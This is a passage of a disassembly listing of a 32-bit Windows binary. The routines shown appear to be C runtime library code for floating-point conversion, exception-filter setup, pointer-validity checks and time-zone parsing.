		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_432A0B
; ---------------------------------------------------------------------------

loc_4329FA:				; CODE XREF: sub_4327D0+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_432A0B
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax

loc_432A0B:				; CODE XREF: sub_4327D0+228j
					; sub_4327D0+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4327D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A20	proc near		; CODE XREF: sub_432B20+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_454518
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4327D0
		add	esp, 0Ch
		pop	ebp
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A40	proc near		; CODE XREF: sub_432BA0+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_454530
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4327D0
		add	esp, 0Ch
		pop	ebp
		retn
sub_432A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432A60	proc near		; CODE XREF: .packed:00432B8Ap
					; .packed:00436F4Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_432540
		add	esp, 8
		test	eax, eax
		jz	short loc_432AD7
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx

loc_432AD7:				; CODE XREF: sub_432A60+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_432AED
		mov	[ebp+var_14], 1

loc_432AED:				; CODE XREF: sub_432A60+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_432A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432B20	proc near		; CODE XREF: sub_42C640+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_4363F0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_432A20
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_4363F0
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_432A60
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432BA0	proc near		; CODE XREF: sub_42C640+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_4363F0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_432A40
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_432BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432BE0	proc near		; CODE XREF: sub_42C690+4Dp
					; sub_42C880+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_432C04:				; CODE XREF: sub_432BE0+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_432C4B
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_432C28
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_432C2F
; ---------------------------------------------------------------------------

loc_432C28:				; CODE XREF: sub_432BE0+32j
		mov	[ebp+var_C], 30h

loc_432C2F:				; CODE XREF: sub_432BE0+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_432C04
; ---------------------------------------------------------------------------

loc_432C4B:				; CODE XREF: sub_432BE0+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_432C94
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_432C94
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx

loc_432C6B:				; CODE XREF: sub_432BE0+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_432C87
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_432C6B
; ---------------------------------------------------------------------------

loc_432C87:				; CODE XREF: sub_432BE0+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl

loc_432C94:				; CODE XREF: sub_432BE0+75j
					; sub_432BE0+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_432CB0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_432CD6
; ---------------------------------------------------------------------------

loc_432CB0:				; CODE XREF: sub_432BE0+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_420840
		add	esp, 0Ch

loc_432CD6:				; CODE XREF: sub_432BE0+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_432BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432CE0	proc near		; CODE XREF: sub_42C690+1Ep
					; sub_42C880+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_432D60
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_436F70
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_432CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D60	proc near		; CODE XREF: sub_432CE0+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_432DD7
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_432DCF
		jmp	short loc_432E1A
; ---------------------------------------------------------------------------

loc_432DCF:				; CODE XREF: sub_432D60+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_432E35
; ---------------------------------------------------------------------------

loc_432DD7:				; CODE XREF: sub_432D60+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_432E04
		cmp	[ebp+var_10], 0
		jnz	short loc_432E04
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_432EBE
; ---------------------------------------------------------------------------

loc_432E04:				; CODE XREF: sub_432D60+7Bj
					; sub_432D60+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_432E35
; ---------------------------------------------------------------------------

loc_432E1A:				; CODE XREF: sub_432D60+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx

loc_432E35:				; CODE XREF: sub_432D60+75j
					; sub_432D60+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_432E59:				; CODE XREF: sub_432D60+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_432EA4
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_432E59
; ---------------------------------------------------------------------------

loc_432EA4:				; CODE XREF: sub_432D60+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax

loc_432EBE:				; CODE XREF: sub_432D60+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_432D60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_422270
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432EE0	proc near		; DATA XREF: sub_432F40+3o
					; .packed:00454268o ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_432F0E
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_432F0E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_432F0E
		call	sub_42D860

loc_432F0E:				; CODE XREF: sub_432EE0+Ej
					; sub_432EE0+19j ...
		cmp	dword_4F3614, 0
		jz	short loc_432F35
		mov	eax, dword_4F3614
		push	eax
		call	sub_432FE0
		add	esp, 4
		test	eax, eax
		jz	short loc_432F35
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F3614
		jmp	short loc_432F37
; ---------------------------------------------------------------------------

loc_432F35:				; CODE XREF: sub_432EE0+35j
					; sub_432EE0+47j
		xor	eax, eax

loc_432F37:				; CODE XREF: sub_432EE0+53j
		pop	ebp
		retn	4
sub_432EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432F40	proc near		; DATA XREF: .packed:0043F02Co
		push	ebp
		mov	ebp, esp
		push	offset sub_432EE0
		call	dword_4F5300	; SetUnhandledExceptionFilter
		mov	dword_4F3614, eax
		pop	ebp
		retn
sub_432F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432F60	proc near		; DATA XREF: .packed:0043F044o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4F3614
		push	eax
		call	dword_4F5300	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_432F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432F80	proc near		; CODE XREF: sub_42CCA0+9Ep
					; sub_42D4B0+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5470	; IsBadReadPtr
		test	eax, eax
		jz	short loc_432FA4
		mov	[ebp+var_4], 0

loc_432FA4:				; CODE XREF: sub_432F80+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432FB0	proc near		; CODE XREF: sub_42D4B0+89p
					; sub_42D4B0+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_432FD4
		mov	[ebp+var_4], 0

loc_432FD4:				; CODE XREF: sub_432FB0+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432FE0	proc near		; CODE XREF: sub_42D4B0+1E2p
					; sub_432EE0+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F52FC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_433000
		mov	[ebp+var_4], 0

loc_433000:				; CODE XREF: sub_432FE0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433010	proc near		; CODE XREF: sub_42D8CEp
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_42FF30
		add	esp, 4
		push	16h
		call	sub_4307E0
		add	esp, 4
		push	3
		call	sub_41E8C0
		pop	ebp
		retn
sub_433010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433030	proc near		; CODE XREF: sub_42D9A0+8Ap
					; sub_437D10:loc_43822Bp
		push	ebp
		mov	ebp, esp
		cmp	dword_4F36D0, 0
		jnz	short loc_43306B
		push	0Bh
		call	sub_423280
		add	esp, 4
		cmp	dword_4F36D0, 0
		jnz	short loc_433061
		call	sub_433090
		mov	eax, dword_4F36D0
		add	eax, 1
		mov	dword_4F36D0, eax

loc_433061:				; CODE XREF: sub_433030+1Dj
		push	0Bh
		call	sub_423320
		add	esp, 4

loc_43306B:				; CODE XREF: sub_433030+Aj
		pop	ebp
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_423280
		add	esp, 4
		call	sub_433090
		push	0Bh
		call	sub_423320
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433090	proc near		; CODE XREF: sub_433030+1Fp
					; .packed:0043307Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		push	0Ch
		call	sub_423280
		add	esp, 4
		mov	dword_4F3618, 0
		mov	dword_4545F0, 0FFFFFFFFh
		mov	eax, dword_4545F0
		mov	dword_4545E0, eax
		push	offset aTz	; "TZ"
		call	sub_4374C0
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	loc_433213
		push	0Ch
		call	sub_423320
		add	esp, 4
		push	offset dword_4F3620
		call	dword_4F547C	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	loc_43320E
		mov	dword_4F3618, 1
		mov	ecx, dword_4F3620
		imul	ecx, 3Ch
		mov	dword_454548, ecx
		xor	edx, edx
		mov	dx, word_4F3666
		test	edx, edx
		jz	short loc_433139
		mov	eax, dword_4F3674
		imul	eax, 3Ch
		mov	ecx, dword_454548
		add	ecx, eax
		mov	dword_454548, ecx

loc_433139:				; CODE XREF: sub_433090+91j
		xor	edx, edx
		mov	dx, word_4F36BA
		test	edx, edx
		jz	short loc_43316E
		cmp	dword_4F36C8, 0
		jz	short loc_43316E
		mov	dword_45454C, 1
		mov	eax, dword_4F36C8
		sub	eax, dword_4F3674
		imul	eax, 3Ch
		mov	dword_454550, eax
		jmp	short loc_433182
; ---------------------------------------------------------------------------

loc_43316E:				; CODE XREF: sub_433090+B4j
					; sub_433090+BDj
		mov	dword_45454C, 0
		mov	dword_454550, 0

loc_433182:				; CODE XREF: sub_433090+DCj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, off_4545D4
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4F3624
		push	220h
		mov	eax, dword_4F34C8
		push	eax
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4331BF
		cmp	[ebp+var_8], 0
		jnz	short loc_4331BF
		mov	ecx, off_4545D4
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_4331C8
; ---------------------------------------------------------------------------

loc_4331BF:				; CODE XREF: sub_433090+11Bj
					; sub_433090+121j
		mov	edx, off_4545D4
		mov	byte ptr [edx],	0

loc_4331C8:				; CODE XREF: sub_433090+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, off_4545D8
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4F3678
		push	220h
		mov	edx, dword_4F34C8
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_433205
		cmp	[ebp+var_8], 0
		jnz	short loc_433205
		mov	eax, off_4545D8
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_43320E
; ---------------------------------------------------------------------------

loc_433205:				; CODE XREF: sub_433090+162j
					; sub_433090+168j
		mov	ecx, off_4545D8
		mov	byte ptr [ecx],	0

loc_43320E:				; CODE XREF: sub_433090+67j
					; sub_433090+173j
		jmp	loc_433437
; ---------------------------------------------------------------------------

loc_433213:				; CODE XREF: sub_433090+49j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_43323D
		cmp	dword_4F36CC, 0
		jz	short loc_43324C
		mov	ecx, dword_4F36CC
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_43324C

loc_43323D:				; CODE XREF: sub_433090+18Bj
		push	0Ch
		call	sub_423320
		add	esp, 4
		jmp	loc_433437
; ---------------------------------------------------------------------------

loc_43324C:				; CODE XREF: sub_433090+194j
					; sub_433090+1ABj
		push	2
		mov	eax, dword_4F36CC
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	dword_4F36CC, eax
		cmp	dword_4F36CC, 0
		jnz	short loc_43329D
		push	0Ch
		call	sub_423320
		add	esp, 4
		jmp	loc_433437
; ---------------------------------------------------------------------------

loc_43329D:				; CODE XREF: sub_433090+1FCj
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, dword_4F36CC
		push	eax
		call	sub_41F620
		add	esp, 8
		push	0Ch
		call	sub_423320
		add	esp, 4
		push	3
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, off_4545D4
		push	edx
		call	sub_41E510
		add	esp, 0Ch
		mov	eax, off_4545D4
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_4332FD
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_4332FD:				; CODE XREF: sub_433090+259j
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41E610
		add	esp, 4
		imul	eax, 0E10h
		mov	dword_454548, eax

loc_433314:				; CODE XREF: sub_433090+2AEj
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_433335
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_433340
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_433340

loc_433335:				; CODE XREF: sub_433090+28Dj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_433314
; ---------------------------------------------------------------------------

loc_433340:				; CODE XREF: sub_433090+298j
					; sub_433090+2A3j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Ah
		jnz	loc_4333E5
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41E610
		add	esp, 4
		imul	eax, 3Ch
		mov	ecx, dword_454548
		add	ecx, eax
		mov	dword_454548, ecx

loc_433375:				; CODE XREF: sub_433090+304j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_433396
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_433396
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_433375
; ---------------------------------------------------------------------------

loc_433396:				; CODE XREF: sub_433090+2EEj
					; sub_433090+2F9j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Ah
		jnz	short loc_4333E5
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41E610
		add	esp, 4
		mov	edx, dword_454548
		add	edx, eax
		mov	dword_454548, edx

loc_4333C4:				; CODE XREF: sub_433090+353j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_4333E5
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_4333E5
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_4333C4
; ---------------------------------------------------------------------------

loc_4333E5:				; CODE XREF: sub_433090+2B9j
					; sub_433090+30Fj ...
		cmp	[ebp+var_4], 0
		jz	short loc_4333F9
		mov	edx, dword_454548
		neg	edx
		mov	dword_454548, edx

loc_4333F9:				; CODE XREF: sub_433090+359j
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		mov	dword_45454C, ecx
		cmp	dword_45454C, 0
		jz	short loc_43342E
		push	3
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, off_4545D8
		push	eax
		call	sub_41E510
		add	esp, 0Ch
		mov	ecx, off_4545D8
		mov	byte ptr [ecx+3], 0
		jmp	short loc_433437
; ---------------------------------------------------------------------------

loc_43342E:				; CODE XREF: sub_433090+37Cj
		mov	edx, off_4545D8
		mov	byte ptr [edx],	0

loc_433437:				; CODE XREF: sub_433090:loc_43320Ej
					; sub_433090+1B7j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

